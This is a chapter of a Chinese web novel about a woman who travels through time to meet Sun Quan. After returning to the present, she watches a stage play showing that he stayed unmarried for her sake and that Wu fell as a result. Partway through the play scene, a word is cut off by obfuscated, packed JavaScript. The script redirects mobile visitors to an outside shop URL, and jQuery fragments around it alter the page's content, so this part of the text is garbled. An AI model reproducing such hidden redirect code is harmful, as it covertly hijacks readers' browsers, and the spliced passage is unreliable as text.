82. 奈何天(现)

作品:《棺椁聘孙权

    “喂?是……你吗?”


    电话那头安静了许久,步一乔举着电话的手逐渐发麻。


    临行前背下的那串号码,总有一个数字记不真切。她试了好几遍才拨出这通电话,可心头那抹隐隐的不安始终挥之不去,总忍不住去想,自己离开江东之后,孙权……会不会又出什么意外。


    电话里传来一声极轻的叹息,像是隔着千山万水,又像是近在耳畔。


    “……是我。你在哪儿?”


    步一乔喉头一哽,竟不知该先答什么。她顿了顿,才低声说:“嗯。刚到。”


    又是短暂的沉默。她几乎能听见电波那头细微的电流声,还有他若有似无的呼吸。


    “我来接你,待在那儿等我。”


    “从苏州过来吗?现在吗?”她有些迟疑。


    电话那头安静了一瞬。


    “笨蛋,我怎么会不知道你在哪儿。我在过来的路上,等我。”


    听筒里传来一阵嘈杂的背景音,像是仪表盘发出的声音。步一乔突然喉头哽咽得难受,眼眶酸胀。


    “别怕,我很快到。”


    “嗯……”


    她抬起眼望向窗外,视线还是模糊了。一切和离开前似乎没什么不同,可又分明有什么东西,在她心里悄然融化了,流淌出温热的、酸涩的细流。


    “……孙权。”她忽然叫了他的名字。


    电话那头静了静。


    “嗯。”


    他应得很轻,却沉甸甸地落进她耳里。


    步一乔揉了揉鼻尖,轻声道:“我见到他了,在江东。和史书里写的不太一样,不是大家口中的‘渣权’,是个认真对待所有人事物,认真记住每个人说过的话的君王。”


    安静的街道零星驶过几辆车,车灯的光晕由远及近,漫进她湿润的视线里。


    “可我食言了……我逃走了。说好要陪他走到最后,我还是……没能狠下心,去反抗一切,留在那里。”


    远处,那辆熟悉的车缓缓停靠在路灯下。车门打开,一道身影走下车,握着手机,朝她的方向回身望来。


    听筒里,他的声音同时响起:


    “我知道。”


    电话挂断,步一乔归还手机道谢后,旋即转身奔向马路边。


    步一乔跑过街道,脚步却在那道身影几步之外,不由自主地慢了下来。


    路灯的光笼着他,他站在那里,没有急着上前,只是静静看着她。


    步一乔忽然有些无措,等到时反复练习过的见面词,此刻都哽在喉间,一个字也吐不出来。


    最终还是他先开了口。


    “饿不饿?”


    只是寻常一问,却让她鼻尖猛地一酸。她点点头,又摇摇头。


    他向前一步,抬手,指尖极轻地拂过她眼下。那里或许有泪痕,或许只是光影。不过想触碰她,非常想。


    “先回酒店吧。”


    “嗯!”


    *


    回到酒店房间,门一关上,步一乔便急急进屋。


    “教授,有电脑吗?我想看看——”


    话未说完,吴朔已将一个温热的纸袋轻轻塞进她手里。


    “先吃点东西。你脸色不好,需要休息。”


    “我不饿,我——”


    “听话。”


    他声音放得很柔,手指掠过她额前微乱的发丝。步一乔所有追问的话都堵在了嘴边,只能看着他转身去调试空调温度,又为她倒了杯温水。


    她草草喝了几口粥,心思完全不在食物上。吴朔一直陪在身边,倒不如说,一直盯着她。


    没手机,没电脑,没史书,一刻看不到历史,步一乔心着急得难受。


    “教授,我真的想看——”


    “明天。”他走过来,很自然地牵起她的手,往浴室带,“累了这么久,先洗个热水澡吧。需要我帮你吗?”


    “我自己来吧。”


    热水氤氲,雾气弥漫了整个浴室。


    步一乔站在花洒下,温热的水流冲刷着身体的疲惫,却冲不散心底越来越重的不安。


    太反常了。就像是故意不让自己去看似的。


    她匆匆擦干身体,换上他准备好的干净衣物。拉开门,雾气涌出。


    吴朔就站在浴室门外不远处,背对着她,听到声音,他转过身。


    “洗好了?”他走过来,很自然地用干毛巾帮她擦拭发尾的水珠,“头发要吹干,不然会头疼。”


    “嗯……”


    动作温柔细致,一如往常。


    可步一乔心里的疑窦却像藤蔓一样疯长。她抓住他手腕,仰起脸直视他:


    “教授,历史是不是真的出了大问题?孙权他……后来到底怎么了?”


    吴朔沉默地看着她。许久,他极轻地叹了口气,将她连同宽大的毛巾一起揽进怀里。


    “后天有场历史舞台剧,我是文学指导,有两张票,想一起吗?”


    “什么内容?”


    “剧名《如梦江东》,主角孙权。”


    “可我现在想看的是史料,是真实的记载!”


    “正因为你想知道‘真实’,我才觉得,或许换一种方式‘看见’,会更好。”


    “什么意思?”步一乔蹙眉,“难道史书上记载的……”


    “这次的舞台剧根据真实历史演绎,看完以后,你会明白的。”


    吴朔终于停下了擦拭的动作,将毛巾搭在臂弯,双手轻轻捧住她的脸。嘴巴微张,却没道出话,在步一乔发问前,吻住她。


    “我好想你……”


    低喃的话语擦过唇瓣,渗入呼吸。这个吻很长,长到步一乔几乎要忘记刚才的焦急。直到氧气快要耗尽,吴朔才稍稍退开,指腹擦去她唇瓣上的水渍。


    “对不起……没有你,我果然不行……”


    “什么?”


    他没再回答,没再作声,直到激烈的浪潮将步一乔卷入昏沉的睡眠,他才终于停歇,将她轻轻拢在怀里,满脸愁容。


    “没有你在……一切都搞砸了。”


    *


    趁着吴朔还在睡,步一乔悄摸走他的手机,快速搜索:孙权生平简述。


    “十八岁继承祖业,联刘抗曹、夺取荆州、称帝建国……和原本的历史一模一样啊。”


    既然毫无变化,教授到底在隐瞒什么?


    两人驾车离开邯郸,慢悠悠地返回苏州。赶在舞台剧开始前,完成了甄霖交代的事情。


    毕竟是内部票,安排的位置视野刚刚好。步一乔忐忑不安地等待开场,吴朔坐在身侧,给她腿上搭了条毯子。


    “此前穿越,是为了拯救孙策。眼下目标失败,也成功救下小乔,你还会回去吗?”


    步一乔摇头,“我在,只会吧历史搞得一团糟。”


    反正历史走在正轨上,没必要再去更改它的航道,如今盛世太平,一切圆满,便是好。


    【剧目开始】


    【公元229年,孙权在武昌称帝,国号“吴”】


    剧场内的灯光暗了下去。


    舞台中央,扮演孙权的中年演员背身而立,身着绛紫王袍,身姿不算魁梧。


    “父兄之业,如山坠于我肩。”


    “江东六郡,是烈火,亦是寒冰……我接住的,究竟是传国玉玺,还是悬颅之索?”


    “那年十八,外有曹操、袁绍,内有反叛、山贼,我虽为万人之上的江东之主,却无人知我心有多寂寞。”


    步一乔望着台上的演员,明知那不是孙权,却被感染力颇深的演技,幻视到了她熟知的那个人。


    剧场陷入黑暗,唯有乐声低回,似长江水呜咽。大幕拉开,并非宏大的战争场面,而是一幅静谧的江南春景:桃花灼灼,溪水潺潺。


    年轻的孙权,一袭青衫,与一位布衣少女立于桃树下。


    少女折下一枝桃花,递给孙权,道:“仲谋,此去经年,桃花再开时,你可还会在树下等我?”


    青年孙权郑重接过,道“天地为鉴,江水为誓。孙仲谋此生,非卿不娶。这江东之主若连一人都守不住,又何谈守住一方山河?”


    观众席里,一片感动声中,唯有一人震惊到神情呆滞。


    步一乔迟缓地看向身旁专注在舞台上的男人,而后收回视线。


    灯光骤变,暖春化为寒冬。少女换上远行的斗篷,孙权攥紧她的手,眉宇间皆是痛楚。


    少女:“我去许都,不是为人质,是为江东争一线生机。莫要挂念,忘了我们曾经的誓言吧,定要守护你的江东。若有来生,我想与你做一对平凡夫妇,相守一生。”


    孙权:“等我。拿下合肥,贯通南北,我必接你回来!”


    少女回首,嫣然一笑,眼中似有泪光,随即没入阴影


    “好。我等你……拿下合肥,带我回家。”


    历史的大幕轰然拉开。


    赤壁大胜后的意气风发,金戈铁马,志在必得。舞台上,孙权挥剑指向“合肥”二字,光芒万丈。


    第一次,失败。


    第二次、第三次,挫折渐生,但信念未改。


    第四次,戏剧高潮。张辽兵马浩浩荡荡,孙权踉跄败退。


    第五次,孙权已生华发,“合肥”二字依然矗立。他久久凝视,最终只是一声混着无尽苍凉与嘲弄的长叹。


    现场啜泣声一片,步一乔也哭了,唯独一人没哭。


    故事发展到晚年。


    一片素白中,老年孙权独自坐在空旷的宫殿中央,身边没有嫔妃,没有儿孙环绕。只有几个老迈的臣子,远远跪着,奏请立嗣事宜。


    老臣匍匐道:“陛下,国不可无储君,江山不可无后继啊!恳请大王……”


    老年孙权缓缓抬手打断。他望着虚空,仿佛那里有一个只有他能看见的身影。


    “孤的江山……孤自己守。”


    “孤答应过的事……只剩这一件还没做到。”


    他低头,看着自己布满皱纹的双手,那双手曾想握住天下,最终却连一座城池、一个人都握不住。


    “合肥……合肥啊……”


    他反复念叨着“合肥”,两个字不再是军事目标,而成了一道咒语,一个心结,一座隔开他与毕生所爱的、永不可逾越的坟茔。


    最后一束光打下。孙权躺在榻上,气息微弱。幻觉中,桃花纷飞,那个布衣少女的身影在光影中浮现,依旧年轻,笑容温


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16859894|185506||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    暖。


    孙权眼神焕发出最后的神采,向虚空伸出手。


    “五次了……还是没拿下……”


    他的手无力垂下,最后一丝光从他眼中熄灭,声音低不可闻


    “对不起……没能履行承诺,娶你为妻……”


    桃花幻影消散。灯光全暗。


    帷幕缓缓合拢。没有掌声,一片沉重的寂静。


    许久,灯光亮起,观众才像从一场漫长的梦中惊醒,掌声零落而沉重,更多人则是红着眼眶,沉浸在那种巨大的、贯穿一生的遗憾中。


    落下的大幕上映出寥寥数语,总结了故事中的孙权,辉煌而偏执的一生。


    “十八岁那年,他遇见一位姑娘,曾许诺此生非她不娶。后来姑娘为护江东,北上许都为质。孙权为履此诺,一生五攻合肥,至死未成。


    因无姻亲联结,江东士族渐次离心,孙吴势弱,终难与魏蜀抗衡。吴国仅存六年,随他逝去,悄然湮没于青史。


    他终身未娶,无子无嗣,独走完这一生。”


    步一乔望着那几行字,眼泪无声淌下,怎么都止不住。


    身旁的人从怀中取出手帕,轻轻替她擦拭。


    “这就是你不愿亲口告诉我的原因吗……”


    步一乔的视线模糊,却不敢看他。


    “……我一直以为,我能改变什么。”她声音很轻,像在对自己说,又像在问他。


    幕布上的字迹渐渐淡去,剧场顶灯逐排亮起,周围陆续响起窸窸窣窣的离座声、低语声。可她还坐在那里,一动不动。


    “史书上说他五攻合肥,不是为了北伐大业吗……怎么会是因为我……明明可以让他按历史娶那些夫人的……他是不是……疯了……”


    身旁的人沉默片刻,指腹拂过她湿漉漉的眼角。


    “或许对他而言,有些承诺比江山更重。”


    他抬起手,温热的掌心轻轻覆上了步一乔的双眼。


    “如果这只是一场梦呢?从你问我穿越方法的那天起,所有的一切,都只是你的一场梦。你愿意醒来吗?”


    “我……”


    “如果你从未去过东汉,从未真正认识他,他只是书页里一个千年前的名字,一切都回到原点……你愿意吗?”


    步一乔咬住颤抖的唇,发不出声音。


    吴朔心疼,正想将手收回,她却忽然紧握住了他的手腕,让那只手始终覆在自己的眼睛上。


    “对不起……就保持这样一会儿……好吗?”


    吴朔沉默了一会儿,低声问:“为什么?”


    她用沙哑的嗓音,说出心底话:


    “因为教授掌心的气息……和他很像……让我借着再哭一会儿吧……”


    “……好。”


    他没有移开手,只是将另一只手臂也环了上来,将她整个人轻轻拢入怀中,让她更深地嗅着自己的味道。


    “你知道吗,史书里缺了一笔。”


    “什么……”


    “孙权在赤壁之战大胜后,曾向曹操索要了一样东西。一件在合肥城外寻到的,沾满血与尘的旧衣。”


    步一乔的呼吸窒住。


    “他照着旧物做了件新的,珍藏在身边,直至完成他此生最重要的使命。而后带着那件衣裳,开启另一段故事,在那姑娘再次回到过去时,亲手赠予她。”


    “是教授在教室……给我的那件……”


    “嗯。”


    步一乔闭上眼,却突然轻笑一声。


    “真是……无药可救。”


    “问题,你还没回答我。”吴朔轻声问。


    “什么问题?”


    “舞台剧开始前问的,你还会回去吗?”


    这一次,步一乔没有立刻回答。她从他怀中退开些许,瞥见收拾会场的阿姨正朝这边走来,便伸手牵起吴朔的手,站了起来。


    “走吧。”


    *


    她牵着吴朔的手,穿过陆续散场的人影,朝剧场侧门走去。步一乔在台阶前停下,没有回头,只是望着远处街灯晕开的光晕。


    “我大概不适合谈恋爱吧。”她轻笑,却是苦涩,“从伯符到孙权,这一路走来,半数迷蒙,连自己的都内心都看不清。遇见步练师,甚至想将他拱手奉还。”


    吴朔的手微微收紧,却没有说话,只是静静地等她继续。


    “我无数次想问他,为什么这么执着于我。我不明白,因为他这么做没有理由,找不出理由。一见钟情?世上哪有一见钟情。更何况,我给他的第一面并不好。”


    建安五年的孙府初遇,强吻的人又给他一耳光。


    七岁的庐江初遇,气得沉稳的孙仲谋没了耐心。


    建安七年山野初遇,逼人就地行男欢女爱之事。


    “我几乎没有优点。反复无常,犹豫不决。没步练师温柔,也没步练师好看。嫉妒心强,迫使他孤独余生。他不该喜欢我,他没理由喜欢我。”


    所以,到底为什么?


    步一乔转头望向身旁注视着自己的男人。


    “孙权……他喜欢骗我。我怀疑,在我记忆之外,还有一段故事。教授觉得会是什么?我总觉得……与死亡和复生有关。”